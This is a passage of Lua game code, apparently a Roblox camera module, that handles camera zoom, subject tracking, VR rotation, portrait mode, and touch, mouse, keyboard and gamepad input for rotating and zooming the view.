guiObject.AbsolutePosition.Y then return true end return false end local function GetRenderCFrame(part) return part:GetRenderCFrame() end local function CreateCamera() local this = {} local R15HeadHeight = R15_HEAD_OFFSET function this:GetActivateValue() return 0.7 end function this:IsPortraitMode() return PortraitMode end function this:GetRotateAmountValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_ROTATION elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_ROTATION end end return ZERO_VECTOR2 end function this:GetRepeatDelayValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_REPEAT elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_REPEAT end end return 0 end this.ShiftLock = false this.Enabled = false local isFirstPerson = false local isRightMouseDown = false local isMiddleMouseDown = false this.RotateInput = ZERO_VECTOR2 this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM this.activeGamepad = nil local tweens = {} this.lastSubject = nil this.lastSubjectPosition = Vector3.new(0, 5, 0) local lastVRRotation = 0 local vrRotateKeyCooldown = {} local isDynamicThumbstickEnabled = false local dynamicThumbstickFrame = nil local function getDynamicThumbstickFrame() if dynamicThumbstickFrame and dynamicThumbstickFrame:IsDescendantOf(game) then return dynamicThumbstickFrame else local touchGui = PlayerGui:FindFirstChild("TouchGui") if not touchGui then return nil end local touchControlFrame = touchGui:FindFirstChild("TouchControlFrame") if not touchControlFrame then return nil end dynamicThumbstickFrame = touchControlFrame:FindFirstChild("DynamicThumbstickFrame") return dynamicThumbstickFrame end end -- Check for changes in ViewportSize to decide if PortraitMode local CameraChangedConn = nil local workspaceCameraChangedConn = nil local function onWorkspaceCameraChanged() if UserInputService.TouchEnabled then if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM end) end end end workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged) if workspace.CurrentCamera then onWorkspaceCameraChanged() end function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end local STATE_DEAD = Enum.HumanoidStateType.Dead -- HumanoidRootPart when alive, Head part when dead local function getHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == STATE_DEAD then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('Humanoid') then local humanoidStateType = cameraSubject:GetState() if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then result = this.lastSubjectPosition else local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType) if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) local heightOffset = ZERO_VECTOR3 if humanoidStateType ~= STATE_DEAD then heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET end if PortraitMode then heightOffset = heightOffset + Vector3.new(0, PORTRAIT_MODE_CAMERA_OFFSET, 0) end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset) end end elseif cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p end end this.lastSubject = cameraSubject this.lastSubjectPosition = result return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:GetCameraHeight() if VRService.VREnabled and not this:IsInFirstPerson() then local zoom = this:GetCameraZoom() return math.sin(VR_ANGLE) * zoom end return 0 end function this:ViewSizeX() local result = 1024 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.X end return result end function this:ViewSizeY() local result = 768 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.Y end return result end local math_asin = math.asin local math_atan2 = math.atan2 local math_floor = math.floor local math_max = math.max local math_pi = math.pi local Vector2_new = Vector2.new local Vector3_new = Vector3.new local CFrame_Angles = CFrame.Angles local CFrame_new = CFrame.new function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2_new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2_new(xTheta, yTheta) end function this:RotateVector(startVector, xyRotateVector) local startCFrame = CFrame_new(ZERO_VECTOR3, startVector) local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y) end function this:RotateCamera(startLook, xyRotateVector) if VRService.VREnabled then local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0)) return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector else local startVertical = math_asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta)) end end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock local camera = workspace.CurrentCamera if camera.CameraType == Enum.CameraType.Scriptable then return end if isFirstPerson or self:GetShiftLock() then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown or isMiddleMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end function this:rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math_max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = self:rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ----- VR STUFF ------ function this:ApplyVRTransform() if not VRService.VREnabled then return end --we only want this to happen in first person VR local player = PlayersService.LocalPlayer if not (player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then return end local camera = workspace.CurrentCamera local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') if this:IsInFirstPerson() and not isInVehicle then local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrRotation = vrFrame - vrFrame.p local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) else local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) end end local vrRotationIntensityExists = true local lastVrRotationCheck = 0 function this:ShouldUseVRRotation() if not VRService.VREnabled then return false end if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) vrRotationIntensityExists = success and vrRotationIntensity ~= nil lastVrRotationCheck = tick() return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth" end function this:GetVRRotationInput() local vrRotateSum = ZERO_VECTOR2 local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity") local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2 local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity) if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then local sign = 1 if vrGamepadRotation.x < 0 then sign = -1 end vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true end elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil end if self.TurningLeft then if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Left] = true end else vrRotateKeyCooldown[Enum.KeyCode.Left] = nil end if self.TurningRight then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Right] = true end else vrRotateKeyCooldown[Enum.KeyCode.Right] = nil end if vrRotateSum ~= ZERO_VECTOR2 then lastVRRotation = tick() end return vrRotateSum end local cameraTranslationConstraints = Vector3.new(1, 1, 1) local humanoidJumpOrigin = nil local trackingHumanoid = nil local cameraFrozen = false local subjectStateChangedConn = nil local cameraSubjectChangedConn = nil local workspaceChangedConn = nil local humanoidChildAddedConn = nil local humanoidChildRemovedConn = nil local function cancelCameraFreeze(keepConstraints) if not keepConstraints then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z) end if cameraFrozen then trackingHumanoid = nil cameraFrozen = false end end local function startCameraFreeze(subjectPosition, humanoidToTrack) if not cameraFrozen then humanoidJumpOrigin = subjectPosition trackingHumanoid = humanoidToTrack cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z) cameraFrozen = true end end local function rescaleCameraOffset(newScaleFactor) R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor end local function onHumanoidSubjectChildAdded(child) if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then if heightScaleChangedConn then heightScaleChangedConn:disconnect() end heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset) rescaleCameraOffset(child.Value) end end local function onHumanoidSubjectChildRemoved(child) if child.Name == "BodyHeightScale" then rescaleCameraOffset(1) if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end end end local function onNewCameraSubject() if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if humanoidChildAddedConn then humanoidChildAddedConn:disconnect() humanoidChildAddedConn = nil end if humanoidChildRemovedConn then humanoidChildRemovedConn:disconnect() humanoidChildRemovedConn = nil end if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if trackingHumanoid ~= humanoid then cancelCameraFreeze() end if humanoid and humanoid:IsA('Humanoid') then humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded) humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved) for _, child in pairs(humanoid:GetChildren()) do onHumanoidSubjectChildAdded(child) end subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then startCameraFreeze(this:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then cancelCameraFreeze(true) end end) end end local function onCurrentCameraChanged() if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() cameraSubjectChangedConn = nil end local camera = workspace.CurrentCamera if camera then cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject) onNewCameraSubject() end end function this:GetVRFocus(subjectPosition, timeDelta) local newFocus = nil local camera = workspace.CurrentCamera local lastFocus = self.LastCameraFocus or subjectPosition if not cameraFrozen then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z) end if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z)) else newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y)) end if cameraFrozen then -- No longer in 3rd person if self:IsInFirstPerson() then -- not VRService.VREnabled cancelCameraFreeze() end -- This case you jumped off a cliff and want to keep your character in view -- 0.5 is to fix floating point error when not jumping off cliffs if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then cancelCameraFreeze() end end return newFocus end ------------------------ ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local lastTapTime = nil local fingerTouches = {} local NumUnsunkTouches = 0 local inputStartPositions = {} local inputStartTimes = {} local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) --If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea local dtFrame = getDynamicThumbstickFrame() local isDynamicThumbstickUsingThisInput = false if isDynamicThumbstickEnabled then local ControlScript = CameraScript.Parent:FindFirstChild("ControlScript") if ControlScript then local MasterControl = ControlScript:FindFirstChild("MasterControl") if MasterControl then local DynamicThumbstickModule = MasterControl:FindFirstChild("DynamicThumbstick") if DynamicThumbstickModule then DynamicThumbstickModule = require(DynamicThumbstickModule) local dynamicInputObject = DynamicThumbstickModule:GetInputObject() isDynamicThumbstickUsingThisInput = (dynamicInputObject == input) end end end end if not isDynamicThumbstickUsingThisInput then fingerTouches[input] = processed if not processed then inputStartPositions[input] = input.Position inputStartTimes[input] = tick() NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then if isDynamicThumbstickEnabled then return end fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue()) if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math_max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function calcLookBehindRotateInput(torso) if torso then local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE), 0))).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end return Vector2.new(horizontalShift, vertShift) end return nil end local function IsTouchTap(input) -- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type. if inputStartPositions[input] then local posDelta = (inputStartPositions[input] - input.Position).magnitude if posDelta < MAX_TAP_POS_DELTA then local timeDelta = inputStartTimes[input] - tick() if timeDelta < MAX_TAP_TIME_DELTA then return true end end end return false end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil inputStartPositions[input] = nil inputStartTimes[input] = nil end local function OnMousePanButtonPressed(input, processed) if processed then return end this:UpdateMouseBehavior() panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true end local function OnMousePanButtonReleased(input, processed) this:UpdateMouseBehavior() if not (isRightMouseDown or isMiddleMouseDown) then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse2Up(input, processed) isRightMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouse3Down(input, processed) if processed then return end isMiddleMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse3Up(input, processed) isMiddleMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouseMoved(input, processed) if not hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue()) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math_floor(num + 0.5) end local eight2Pi = math_pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= ZERO_VECTOR3 then camLook = camLook.unit local currAngle = math_atan2(camLook.z, camLook.x) local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local function onWindowFocusReleased() this:ResetInputStates() end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 6 local vrMaxSpeed = 4 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1, 1, point) end return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == ZERO_VECTOR2 then lastThumbstickRotate = nil if lastThumbstickPos == ZERO_VECTOR2 then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then if VRService.VREnabled then currentSpeed = vrMaxSpeed else local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end end local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end) finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue()) end return ZERO_VECTOR2 end local InputBeganConn, InputChangedConn, InputEndedConn, WindowUnfocusConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if WindowUnfocusConn then WindowUnfocusConn:disconnect() WindowUnfocusConn = nil end if MenuOpenedConn then MenuOpenedConn:disconnect() MenuOpenedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end if GamepadConnectedConn then GamepadConnectedConn:disconnect() GamepadConnectedConn = nil end if GamepadDisconnectedConn then GamepadDisconnectedConn:disconnect() GamepadDisconnectedConn = nil end if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if workspaceChangedConn then workspaceChangedConn:disconnect() workspaceChangedConn = nil end if TouchActivateConn then TouchActivateConn:disconnect() TouchActivateConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false isMiddleMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ResetInputStates() isRightMouseDown = false isMiddleMouseDown = false this.TurningRight = false this.TurningLeft = false OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject, value in pairs(fingerTouches) do fingerTouches[inputObject] = nil end panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false StartingDiff = nil pinchBeginZoom = nil NumUnsunkTouches = 0 end end function this.getGamepadPan(name, state, input) if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = ZERO_VECTOR2 return end if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = ZERO_VECTOR2 end end end function this.doGamepadZoom(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.ZoomEnabled then if this:GetCameraZoom() > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end end function this:BindGamepadInputActions() ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2) ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3) end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 